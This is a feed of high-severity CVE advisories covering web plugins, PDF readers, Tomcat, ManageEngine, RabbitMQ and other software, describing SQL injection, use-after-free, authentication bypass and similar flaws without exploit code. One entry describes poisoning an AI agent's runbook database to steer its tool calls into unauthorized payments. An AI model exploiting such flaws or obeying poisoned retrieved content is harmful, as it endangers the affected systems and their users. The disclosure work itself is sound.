CVE-2026-90899	New	8.2	HIGH				Joomla Extension - joomshaper.com - Unauthenticated PII Exposure via IDOR in Guest Checkout in Easy Store extension 1.0.0-3.0.0 - The checkout.searchGuestUser endpoint allowed querying guest checkout records solely by supplying an email address. The server returned complete shipping details (full name, phone number, street address, city, postal code, and country) directly fr...
CVE-2026-90902	New	8.2	HIGH				Joomla Extension - joomshaper.com - Authenticated, Privileged SQL Injection in Coupon Bulk Update in Easy Store extension 1.0.0-3.0.0 - The coupon bulk update task (administrator/index.php?option=com_easystore&task=coupon.couponBulkUpdate) took input IDs and directly concatenated them into raw SQL IN (...) clauses in ProductCoupon.php and CouponsModel.php without sanitizatio...
CVE-2026-96454	New	8.2	HIGH		0.005		Pake turns a website into a desktop application built on Tauri. Every application it generates inherits two settings from the upstream template, and together they hand native functionality to untrusted web content. The first is in src-tauri/capabilities/default.json, which grants IPC access with "remote": { "urls": ["https://*.**"] }. That wildcard tells Tauri to accept IP...
CVE-2026-96599	New	8.2	HIGH				Isotope eCommerce through 2.9.10 derives order identifiers from uniqid() instead of a cryptographically secure source, allowing unauthenticated attackers to guess identifiers. Guest orders lack ownership verification, enabling attackers to access order details including billing address, customer information, and purchased files by supplying a guessed uid parameter.
CVE-2026-18181	New	8.1	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to bypass authentication and access sensitive information due to a hard-coded cryptographic key.
CVE-2026-19125	New	8.1	HIGH				The EthPress – Web3 Login plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 2.3.5. This is due to the verify_login() function in app/Login.php containing a missing return statement in the signature verification failure branch — when Signature::verify2() reports a mismatch, the function only assigns a WP_Error to a local variabl...
CVE-2026-77762	New	8.1	HIGH				Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') vulnerability in Apache Tomcat allows an attacker to inject trailer fields into another HTTP/2 request. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.39 through 9.0.121. The following versions were EOL at the time the ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84787	New	8.1	HIGH				ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.710 and below were vulnerable to a Privilege Escalation vulnerability that allowed an authenticated low-privilege user to gain Administrator privileges through Report Profile import.
CVE-2026-86683	New	8.1	HIGH				ZohoCorp ManageEngine Applications Manager versions 182000 and below allowed a low-privileged user to change the proxy settings.
CVE-2026-93508	New	8.1	HIGH		0.002		The WC Fields Factory WordPress plugin before 4.1.11 does not properly restrict access to its field-management AJAX action, allowing authenticated users with Subscriber-level access and above to create, modify and delete arbitrary post meta on any post, including WooCommerce products, regardless of ownership, and to manipulate stored pricing rules on a product to reduce its ...
CVE-2026-94487	New	8.1	HIGH				Unauthenticated Cross Site Request Forgery (CSRF) in PublishPress Capabilities <= 2.50.1 versions.
CVE-2026-97055	New	8.1	HIGH				SigNoz from v0.8.0 before v0.143.0 defaults the JWT tokenizer signing secret (tokenizer::jwt::secret, set via SIGNOZ_TOKENIZER_JWT_SECRET or the deprecated SIGNOZ_JWT_SECRET) to an empty string, and Config.Validate() does not reject the empty value, so a deployment that does not configure a secret starts up and both signs and verifies session tokens with an empty HMAC key. B...
CVE-2026-12974	New	7.9	HIGH				A Security Policy Bypass vulnerability exists in Forcepoint Security Engine (NGFW). This issue affects Forcepoint Security Engine (NGFW): from 7.1.0 through 7.1.13, from 7.3.0 through 7.3.1, 7.3.3, from 7.4.0 through 7.4.1, and 7.5.0.
CVE-2026-91812	New	7.9	HIGH		0.001		A vulnerability in Foxit PDF Editor/Reader's update mechanism allows man-in-the-middle attackers to bypass certificate validation and package integrity checks, potentially enabling arbitrary code execution with system privileges.
CVE-2026-6794	New	7.8	HIGH				IBM Concert 1.0.0 through 3.0.0 has a double free vulnerability that exists due to incorrect memory management. A local attacker can exploit this flaw to corrupt heap memory and execute arbitrary code in the context of the affected process.
CVE-2026-6935	New	7.8	HIGH				IBM Concert 1.0.0 through 3.0.0 invokes operating system commands without fully qualifying executable paths or adequately restricting search path resolution. As a result, an attacker with local system access can manipulate the search path environment to execute untrusted or malicious code.
CVE-2026-91789	New	7.8	HIGH		0.002		Foxit PDF Editor/Reader's U3D/GIF texture decoding path contained insufficient validation of image dimensions and related size information. Under certain conditions, this could lead to an incorrectly sized memory allocation and a subsequent out-of-bounds write during pixel processing, potentially resulting in remote code execution.
CVE-2026-91790	New	7.8	HIGH		0.002		When rendering the page image, Foxit PDF Editor/Reader fails to perform validation on image objects whose optional content attributes are malformed. As a result, the program may access an already-freed internal data structure, triggering a crash due to UAF.
CVE-2026-91791	New	7.8	HIGH		0.002		When processing a specially crafted PDF file, Foxit PDF Editor/Reader may encounter a reentrant execution condition involving JavaScript triggered by page-visibility events. This can cause the application to access a released page-view object while calculating annotation boundaries, resulting in an invalid memory read and application crash.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91792	New	7.8	HIGH		0.002		When processing a specially crafted PDF, Foxit PDF Editor/Reader may perform reentrant zoom and layout operations through page- and annotation-related JavaScript actions. This can cause the application to access page objects after they have been released, resulting in a use-after-free condition and an application crash.
CVE-2026-91793	New	7.8	HIGH		0.002		When opening a specially crafted PDF, Foxit PDF Editor/Reader executes scripts that modify annotation rich-text attributes containing malformed font data. During subsequent annotation appearance reconstruction, it accesses an object after it has been released, resulting in a use-after-free condition and an application crash.
CVE-2026-91794	New	7.8	HIGH		0.002		An out-of-bounds write vulnerability exists in the PDF rendering process of Foxit PDF Editor/Reader due to insufficient consistency and boundary validation when processing malformed color space data, which may cause the program to crash and potentially lead to remote code execution.
CVE-2026-91795	New	7.8	HIGH		0.001		Foxit PDF Editor/Reader's FileOpen plugin did not adequately validate certain encryption metadata in specially crafted PDF files. This could leave an internal pointer in an invalid state, resulting in chained read and write access violations and potentially enabling arbitrary code execution.
CVE-2026-91797	New	7.8	HIGH		0.003		Foxit PDF Editor/Reader failed to validate the directory traversal path in the attachment file name, resulting in malicious attachments being able to be written to directories outside the expected secure area when the PDF is opened.
CVE-2026-91799	New	7.8	HIGH		0.002		A use-after-free vulnerability exists in Foxit PDF Editor/Reader's handling of JavaScript array objects. A specially crafted PDF may cause the application to access a released object during array processing, potentially resulting in application crashes or arbitrary code execution.
CVE-2026-91801	New	7.8	HIGH		0.002		A path traversal vulnerability exists in Foxit PDF Editor/Reader's handling of embedded PDF resources. Insufficient validation of resource file paths may allow files to be written outside their intended locations, potentially enabling arbitrary code execution.
CVE-2026-91802	New	7.8	HIGH		0.002		A heap-based out-of-bounds write vulnerability exists in Foxit PDF Editor/Reader's WebP image decoding due to improper handling of bitmap stride and target buffer formats. Successful exploitation could result in an application crash.
CVE-2026-91804	New	7.8	HIGH		0.002		A heap-based out-of-bounds write vulnerability exists in Foxit PDF Editor/Reader's rendering of Circle annotations with malformed Cloudy appearance streams in specially crafted PDF files. Insufficient validation of the appearance geometry can result in memory corruption and application crashes.
CVE-2026-91805	New	7.8	HIGH		0.002		A use-after-free vulnerability exists in Foxit PDF Editor/Reader's PDF page-tree handling. A specially crafted PDF can trigger page-structure changes during rendering, causing the application to access released page objects and resulting in memory corruption and an application crash.
CVE-2026-91806	New	7.8	HIGH		0.002		A use-after-free vulnerability exists in Foxit PDF Editor/Reader's handling of PDF form fields. Embedded JavaScript may access form-field references after the corresponding fields have been released, resulting in an application crash.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91809	New	7.8	HIGH		0.002		A use-after-free vulnerability exists in Foxit PDF Editor/Reader's handling of malformed PDF form fields. Improper validation during field-name traversal may cause the application to access a released object, resulting in an application crash.
CVE-2026-91811	New	7.8	HIGH		0.002		A heap-based out-of-bounds write vulnerability exists in Foxit PDF Editor/Reader's PRC parser due to insufficient validation of vertex indices in triangular fan texture meshes. Successful exploitation could result in memory corruption and an application crash.
CVE-2026-91815	New	7.8	HIGH		0.002		Foxit PDF Editor/Reader does not perform sufficient verification of the JPEG2000 image metadata in the PDF file, which leads to out-of-bounds write in the heap buffer during decoding, potentially causing the program to crash and introducing the risk of arbitrary code execution.
CVE-2026-91816	New	7.8	HIGH		0.002		A use-after-free vulnerability exists in Foxit PDF Editor/Reader's handling of PDF annotations. Reentrant annotation deletion triggered by embedded JavaScript can cause the application to access an annotation object after it has been released, resulting in a use-after-free condition and application crash.
CVE-2026-91818	New	7.8	HIGH		0.002		A use-after-free vulnerability exists in Foxit PDF Editor/Reader's JavaScript handling of PDF annotations. Reentrant page-event processing during annotation enumeration may release the associated page object, which is subsequently accessed, resulting in an application crash.
CVE-2026-96442	New	7.8	HIGH				A code execution flaw was found in Emacs, affecting versions prior to 31.2. The Flymake mode using language backends other than Lisp would execute arbitrary code from the edited file while performing syntax checking. Viewing or editing untrusted files using Emacs could lead to arbitrary code execution with the privileges of the user running Emacs.
CVE-2026-96512	New	7.8	HIGH				A flaw was found in sudo. When sudoers rules use NOTBEFORE or NOTAFTER time-based access restrictions with timestamps that omit the trailing 'Z' timezone indicator, the time evaluation relies on the TZ environment variable inherited from the calling user. Because sudo is a setuid-root program, an unprivileged local user can set TZ to an extreme timezone offset to shift the a...
CVE-2026-96889	New	7.8	HIGH				A flaw was found in librsvg. When processing an SVG document containing nested XML inclusions (Xincludes) with duplicate entity declarations, a use-after-free error can occur. This vulnerability arises because the library incorrectly frees an XML entity that is still in use by the parser. An attacker could potentially exploit this to cause a denial of service or execute arbi...
CVE-2026-76089	New	7.7	HIGH			composer:verbb/formie	Formie is a Craft CMS plugin for creating forms. Prior to 2.2.23 and 3.1.31, Formie's formie/sent-notifications/get-resend-modal-content control panel action in SentNotificationsController::actionGetResendModalContent accepts a request-supplied notification ID without permission or object-level authorization checks. Any authenticated user able to invoke the action can enumer...
CVE-2026-76979	New	7.7	HIGH				ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.709 and below were vulnerable to an XML Injection vulnerability in the Rule Tracking Compare Policies feature.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81208	New	7.7	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow an authenticated user to access sensitive information due to improper handling of encrypted credentials. An attacker could exploit this vulnerability to obtain credentials intended for other users or environments.
CVE-2026-81536	New	7.7	HIGH				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection.
CVE-2026-84499	New	7.7	HIGH				A flaw was found in Red Hat Ansible Automation Platform's automation- controller. Survey questions of type password are write-only and stored encrypted, displayed only as a placeholder on read. When a schedule or workflow job template node is revalidated against a tightened survey specification, the controller decrypts the stored password and includes its plaintext value in ...
CVE-2026-92470	New	7.7	HIGH				GitLab has remediated an issue in GitLab EE affecting all versions from 18.7 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to access sensitive CI/CD variable values from debug-mode job traces through the Duo AI troubleshooting feature due to missing authorization checks.
CVE-2026-95627	New	7.7	HIGH		0.003		When a Tauri application uses the dialog plugin's file or folder picker, an attacker with JavaScript execution (XSS) can force the scope expansion to be recursive, granting read/write access to an entire directory tree after a single user click on a normal-looking OS file dialog. The user has no indication that recursive access was granted, and the expanded scope cannot be r...
CVE-2026-12370	New	7.6	HIGH				ZohoCorp ManageEngine OpManager, NetFlow Analyzer, and Network Configuration Manager versions 12.8.667 and below were vulnerable to a Server-Side Template Injection vulnerability in Configlet processing, which could lead to Remote Code Execution.
CVE-2026-66070	New	7.6	HIGH				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.17, 4.0.22, 4.1.13, and 4.2.6, match_origin/1 returned the bare reflected Origin and allowed credentials even when the wildcard "" was configured, so the response echoed the attacker's origin together with Access-Control-Allow-Credentials. The affected code is rabbit_mgmt_cors.erl. When the management plugi...
CVE-2026-77394	New	7.6	HIGH			npm:@openc3/vue-common	OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue...
CVE-2026-84706	New	7.6	HIGH				A flaw was found in Ansible Automation Platform's automation-controller. The custom Credential Type environment-variable injector validates variable names against a deny-list (an ANSIBLE_* prefix check plus a fixed ENV_BLOCKLIST) that omits process-hijacking loader variables such as BASH_ENV, ENV, LD_PRELOAD, LD_LIBRARY_PATH, PYTHONSTARTUP and GIT_SSH_COMMAND. Combined with ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86681	New	7.6	HIGH				ZohoCorp ManageEngine Applications Manager versions 182200 and below were vulnerable to a permissions validation issue that allowed low-privileged users to execute administrator-configured MBean actions on monitors outside their assigned scope.
CVE-2026-94174	New	7.6	HIGH				Administrator SQL Injection in Email Log <= 2.63 versions.
CVE-2026-95522	New	7.6	HIGH				Shop manager SQL Injection in Easy Digital Downloads <= 3.7.0 versions.
CVE-2026-95593	New	7.6	HIGH				Editor SQL Injection in Ultimeter <= 3.0.8 versions.
CVE-2026-96826	New	7.6	HIGH				Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Shazzad Hossain Khan W4 Post List allows Blind SQL Injection. This issue affects W4 Post List: from n/a through 3.0.6.
CVE-2026-15358	New	7.5	HIGH				ZohoCorp ManageEngine OpManager and Network Configuration Manager versions before 12.8.671 were vulnerable to an unauthorized Path Traversal vulnerability.
CVE-2026-19888	New	7.5	HIGH				Missing validation of a mandatory attribute in the SCRAM client-final-message parser in PgBouncer through 1.25.2 allows an unauthenticated remote attacker to crash the process. A malformed message can make the parser report success while leaving a required value unset, which is then dereferenced as a NULL pointer. The crash occurs before any credential is verified, so no val...
CVE-2026-31377	New	7.5	HIGH		0.006		An Improper Authentication vulnerability in the Apache Doris Frontend (FE) meta service allows an unauthenticated remote attacker to access internal metadata service endpoints. The affected endpoints relied on client-supplied node information for authentication without providing sufficient authentication of the requesting party. Under certain network configurations, a rem...
CVE-2026-59990	New	7.5	HIGH			maven:org.typelevel:jawn-parser_2.12, maven:org.typelevel:jawn-parser_2.13, maven:org.typelevel:jawn-parser_3	Jawn is an open source JSON parser. Prior to 1.7.0, Jawn parse methods accept arbitrarily deep JSON array and object nesting without a depth limit, allowing a remote attacker who can submit untrusted JSON to grow parser contexts until the JVM heap is exhausted. The resulting java.lang.OutOfMemoryError is a fatal Scala error that is not ordinarily handled by scala.util.Try or...
CVE-2026-61695	New	7.5	HIGH			swift:github.com/square/wire	Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.4.1 and 7.0.0-alpha04, Wire's Swift runtime ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) accepts a negative length for a LENGTH_DELIMITED field inside an unknown START_GROUP field. ProtoReader.readData() forwards the negative count to ReadBuffer.readData(count:), whose uppe...
CVE-2026-61814	New	7.5	HIGH			maven:org.typelevel:jawn-parser_2.12, maven:org.typelevel:jawn-parser_2.13, maven:org.typelevel:jawn-parser_3	Jawn is an open source JSON parser. Prior to 1.7.0, Jawn's AsyncParser can perform quadratic work when a single JSON token is delivered across many small chunks because each absorb call rescans the incomplete token from the start. A remote attacker who controls untrusted JSON input and its chunk sizes can exhaust CPU resources and cause denial of service in applications usin...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-6668	New	7.5	HIGH				Integer overflow in the packet buffer growth logic in PgBouncer through 1.25.2 allows an unauthenticated remote attacker to cause a denial of service. Sufficiently large input makes the buffer size computation overflow, leaving the growth loop unable to terminate. Because PgBouncer serves all clients from a single process, this saturates a CPU core and stalls every pooled co...
CVE-2026-73591	New	7.5	HIGH				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Inclusion of Sensitive Information in Source Code vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.
CVE-2026-75887	New	7.5	HIGH				A flaw was found in the OpenShift console. An unauthenticated attacker can exploit a path traversal vulnerability by manipulating the `Ing` and `ns` query parameters in the `/locales/resource.json` endpoint. This allows the attacker to read sensitive `*.json` files from the pod filesystem, including plugin manifests and configuration files. Furthermore, this flaw can enable ...
CVE-2026-77422	New	7.5	HIGH			maven:org.jline:jline-builtins	JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in grep command in builtins/src/main/java/org/jline/builtins/PosixCommands.java accepts a user-controlled regular expression in grep(...) and, unless line-regexp mode is used, automatically adds a dot-star prefix and suffix before compiling it with Java's backtracking regu...
CVE-2026-77423	New	7.5	HIGH				JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in less viewer passes user-controlled search and display-filter patterns from getPattern(boolean doDisplayPattern) in builtins/src/main/java/org/jline/builtins/Less.java directly to Java's backtracking regular expression engine and repeatedly applies them to file content. ...
CVE-2026-77791	New	7.5	HIGH				Uncontrolled Resource Consumption vulnerability in Apache Tomcat during sending of WebSocket close message enabled a DoS attack. This issue affects Apache Tomcat: from 11.0.0-M5 through 11.0.25, from 10.1.8 through 10.1.59, from 9.0.74 through 9.0.121. The following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.88 through 8.5...
CVE-2026-78383	New	7.5	HIGH				Allocation of resources without limits or throttling vulnerability in Apache Tomcat allows an unauthenticated AJP request to pin an AJP processing thread leading to denial of service. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M1 through 9.0.121. The following versions were EOL at the time the CVE was cr...
CVE-2026-79677	New	7.5	HIGH				Missing release of resource after effective lifetime, Comparison using wrong factors vulnerability in Apache Tomcat allows a denial of service as a result of lost time outs for asynchronous WebSocket writes. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M1 through 9.0.121. The following versions were EOL at...
CVE-2026-86065	New	7.5	HIGH			go:github.com/klever-io/klever-go	Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /subscribe endpoint in network/api/websocket/routes.go accepts unauthenticated WebSocket clients with permissive origin handling, does not call SetReadLimit to bound message size, and has no live-connection cap. SocketHub.HandleClientInsertion also accepts an unbounded...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86243	New	7.5	HIGH				Buffer over-read vulnerability in Apache Tomcat Native during the TLS handshake permits a malicious user to trigger a DoS via a JVM crash. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Earlier, unsupported versions may also be affected. Users are recommended to upgrade to version 1.3.9 or 2.0.16, which fix the issue.
CVE-2026-87022	New	7.5	HIGH				Improper handling of length parameter inconsistency vulnerability in Apache Tomcat allows WebSocket message smuggling when per-message-deflate is used. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0.M1 through 9.0.121. The following versions were EOS at the time the CVE was created but are known to be affect...
CVE-2026-88830	New	7.5	HIGH				A unit confusion in BusyBox TLS Montgomery reduction buffer allocation causes a pre-authentication heap buffer overflow when processing a crafted ClientKeyExchange message.
CVE-2026-93368	New	7.5	HIGH		0.005		The Rename wp-login.php to anything you want plugin for WordPress is vulnerable to time-based SQL Injection via 'log' (Username) Parameter in all versions up to, and including, 2.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additiona...
CVE-2026-95513	New	7.5	HIGH				Unauthenticated Broken Access Control in Online Booking & Scheduling Calendar for WordPress by vcita <= 4.6.0 versions.
CVE-2026-95604	New	7.5	HIGH				Unauthenticated Broken Access Control in Loops & Logic <= 4.2.4 versions.
CVE-2026-96541	New	7.5	HIGH				A denial-of-service flaw was found in gnome-remote-desktop. An unauthenticated remote attacker can open RDP connections without completing the handshake and retain the connection-throttling slots indefinitely because no pre-authentication handshake deadline is enforced. By exhausting the global connection limit, an attacker can prevent new RDP clients from connecting until a...
CVE-2026-18184	New	7.4	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.
CVE-2026-42801	New	7.4	HIGH		0.003		NULL pointer dereference vulnerability in ASR Crane■Falcon on Linux (as_rrc module) allows Pointer Manipulation. This vulnerability is associated with program file 3g.mod/lib/src/urrsir.c.
CVE-2026-73588	New	7.4	HIGH				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.
CVE-2026-76980	New	7.4	HIGH				ZohoCorp ManageEngine OpManager and Firewall Analyzer versions 12.8.709 and below were vulnerable to a Data Exposure vulnerability in the Firewall Analyzer syslog collector.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86247	New	7.4	HIGH				Race condition within a thread vulnerability in Apache Tomcat Native allowed client certificate verification requirements to be down-graded for some configurations. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Unsupported versions may also be affected. Users are recommended to upgrade to version 2.0.16 or 1.3.9, which fi...
CVE-2026-91775	New	7.4	HIGH				LimeSurvey fails to safely encode attacker-controlled content from a crafted .lss survey file when displaying import warnings, resulting in XSS in the administrative interface.
CVE-2026-92730	New	7.4	HIGH				LimeSurvey Community Edition 7.0.14 contains a reflected cross-site scripting vulnerability on the administrative survey-participant CSV import result page.
CVE-2026-94181	New	7.4	HIGH				An address bar spoofing issue in affected versions of Arc could allow an attacker to spoof the browser address bar via a <select> element that triggers requestFullscreen without displaying the fullscreen notification.
CVE-2026-94183	New	7.4	HIGH				Arc Search for Android before version 1.12.10 does not display a fullscreen notification when a page enters fullscreen mode while the app is running in the background. A remote attacker can exploit this via a specially crafted website to render fake UI elements, such as a spoofed address bar, misleading the user about the origin of displayed content and increasing the risk o...
CVE-2026-95676	New	7.4	HIGH				A missing/improper authentication vulnerability in the WatchGuard AuthPoint Gateway's LDAP Sync first-factor authentication allows a remote attacker to bypass single-factor password verification under non-default operating conditions. Additional authentication factors still apply.
CVE-2026-96808	New	7.4	HIGH				In Flatpak before 1.18.1, the revokefs writer, used by the flatpak-system-helper to receive repository data from unprivileged callers, validated file paths by rejecting literal .. components but did not prevent symlink traversal. A malicious local user in an active local session could obtain two revokefs sessions via the system helper, create a symlink in one session pointin...
CVE-2026-18185	New	7.3	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to access sensitive information and modify system configurations due to missing authentication for a critical function.
CVE-2026-18875	New	7.3	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to RAG poisoning via unauthenticated runbook upsert (CWE-74) in the FTM AI agent server (api.vectordb.runbooks.js:51). An unauthenticated attacker can insert malicious runbook content into the agent's vector database to steer AI-driven MCP tool calls, potentially triggering unauthorized payment action...
CVE-2026-66077	New	7.3	HIGH				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6, The management UI uses EJS 1.0 in which <%= ... %> does NOT HTML-escape. connection.ejs:135 renders <%= connection.ssl_details.peer_cert_subject %> (and peer_cert_issuer) directly into the page. The same pattern appears in streamConnection.ejs:102,106,110. The values come from...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75973	New	7.3	HIGH				Improper Authentication vulnerability in Apache Tomcat. When Jakarta Authentication was configured with SimpleAuthConfigProvider as the default provider and multiple web application used that provider, the realm for the first web application to authenticate a request would be used for all web applications. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, ...
CVE-2026-78437	New	7.3	HIGH				Incomplete cleanup vulnerability in Apache Tomcat allows a malformed request to potentially (depends on timing) cause one request from another user to fail. This issue affects Apache Tomcat: from 11.0.19 through 11.0.25, from 10.1.53 through 10.1.59, from 9.0.116 through 9.0.121. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.
CVE-2026-88832	New	7.3	HIGH				BusyBox romfs volume ID parsing uses unbounded strlen on attacker-controlled metadata, causing a heap buffer overflow when processing crafted filesystem images.
CVE-2026-94243	New	7.3	HIGH		0.001		A vulnerability in Apache Sling Security Bundle: the ReferrerFilter accepts weaker-than-origins evidence. This issue affects Apache Sling Security Bundle: before 1.3.2. Users are recommended to upgrade to version 1.3.2, which fixes the issue.
CVE-2026-96556	New	7.3	HIGH				A flaw has been found in Neethuharii CafeManagement. Affected by this vulnerability is the function addcashier of the file AddCashierCode.php. Executing a manipulation of the argument uname/pass/role/status can lead to improper authorization. The attack may be performed from remote. The exploit has been published and may be used. The vendor was contacted early about this dis...
CVE-2026-96601	New	7.3	HIGH				A vulnerability was detected in Abdurrah5 online-makeup-store. This affects an unknown function of the file index.php of the component Admin Login Handler. The manipulation of the argument id/password results in sql injection. The attack can be executed remotely. The exploit is now public and may be used. This product implements a rolling release for ongoing delivery, which ...
CVE-2026-96602	New	7.3	HIGH				A flaw has been found in Abdurrah5 online-makeup-store. This impacts an unknown function of the file customerSignin.php of the component Customer Login Handler. This manipulation of the argument username/password causes sql injection. The attack is possible to be carried out remotely. The exploit has been published and may be used. This product adopts a rolling release strat...
CVE-2026-96603	New	7.3	HIGH				A vulnerability has been found in Abdurrah5 online-makeup-store. Affected is the function confirm_logged_in/confirm_user of the file functions.php of the component Admin Handler. Such manipulation of the argument adminid leads to missing authorization. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. This product utilizes...
CVE-2026-96604	New	7.3	HIGH				A vulnerability was identified in SoftNews Media Group DataLife Engine 18.0. This affects the function strip_data of the file engine/modules/search.php of the component Search Module. The manipulation of the argument story leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about th...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96751	New	7.3	HIGH				A vulnerability has been found in pmTicket Project-Management-Software up to 078fa56a782490c5059a0814f84df27984f4d7e2. This affects the function setSync of the file /ajax/add_project.php. Such manipulation of the argument conn_settings leads to sql injection. The attack may be launched remotely. This product operates on a rolling release basis, ensuring continuous delivery. ...
CVE-2026-96762	New	7.3	HIGH				A vulnerability was determined in kvcache-ai mooncake up to 0.3.12/0.3.13.post1. This affects the function UnmountSegment of the component RPC Path Handler. This manipulation of the argument client_id/segment_id causes authorization bypass. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted ear...
CVE-2026-96803	New	7.3	HIGH				A vulnerability was identified in java110 MicroCommunity up to 2.0. Affected is the function QueryServiceSMOImpl.fallBack of the file BusinessApi.java of the component fallBack API Endpoint. Such manipulation of the argument fallBackSql leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used. The project was informed o...
CVE-2026-96898	New	7.3	HIGH				A vulnerability was detected in yhx070424 ShopXO up to 2.2.7. Affected by this vulnerability is an unknown functionality of the file config/ueditor.php of the component Ueditor Upload Interface. The manipulation of the argument path_type results in path traversal. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informe...
CVE-2026-75886	New	7.2	HIGH				A flaw was found in openshift/console. An unauthenticated remote attacker can exploit a misconfiguration in the CatalogdHandler, which lacks proper authentication, and the forwarding of the `openshift-session-token` cookie. This allows the attacker to send requests to the in-cluster catalogd service, leading to the disclosure of the internal operator-catalog index and provid...
CVE-2026-85475	New	7.2	HIGH				A flaw was found in the Ansible Automation Platform automation controller. The external logging (rsyslog) configuration is generated by interpolating user-controlled settings — LOG_AGGREGATOR_HOST, LOG_AGGREGATOR_MAX_DISK_USAGE_PATH and LOG_AGGREGATOR_RSYSLOGD_ERROR_LOG_FILE — into an rsyslog RainerScript config file without neutralizing RainerScript syntax. A privileged (su...
CVE-2026-90903	New	7.2	HIGH				Joomla Extension - joomshaper.com - Missing CSRF Token Verification across Administrator AJAX API Endpoints in Easy Store extension 1.0.0-3.0.0 - The administrator ApiController only validated CSRF tokens inside the products() action. All other administrative AJAX endpoints (orders, coupons, media, customers, settings, tags, categories, reviews, and collections) accepted sta...
CVE-2026-90905	New	7.2	HIGH				Joomla Extension - joomshaper.com - Missing CSRF and Access Control on Site Configuration Update in Easy Store extension 1.0.0-3.0.0 - The endpoint administrator/index.php?option=com_easystore&task=appconfig.updateConfiguration updated core Joomla mail configuration (fromname, mailfrom) in configuration.php without verifying anti-CSRF tokens or checking for administrative pe...
CVE-2026-93769	New	7.2	HIGH				HumHub 1.18.5 is affected by a stored cross-site scripting (XSS) vulnerability that allows any user holding the delegated, non-system-administrator Manage Users permission (admin_manage_users) to inject persistent HTML/JavaScript into a Profile Field Category title.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95603	New	7.2	HIGH				Shop manager PHP Object Injection in Reycob Product Import Export <= 2.3.0 versions.
CVE-2026-18177	New	7.1	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute unauthorized payment actions due to missing authorization checks.
CVE-2026-67235	New	7.1	HIGH				RabbitMQ is a messaging and streaming broker. Prior to versions 4.3.0, 4.2.6, 4.1.11, 4.0.20, and 3.13.15, The content-header BodySize (a uint64) was stored without validation against max_message_size. The size check ran only when assembly completed. By declaring body_size = 2^63-1 and then streaming fragments, a client ensured that check_msg_size never fired, so the accumul...
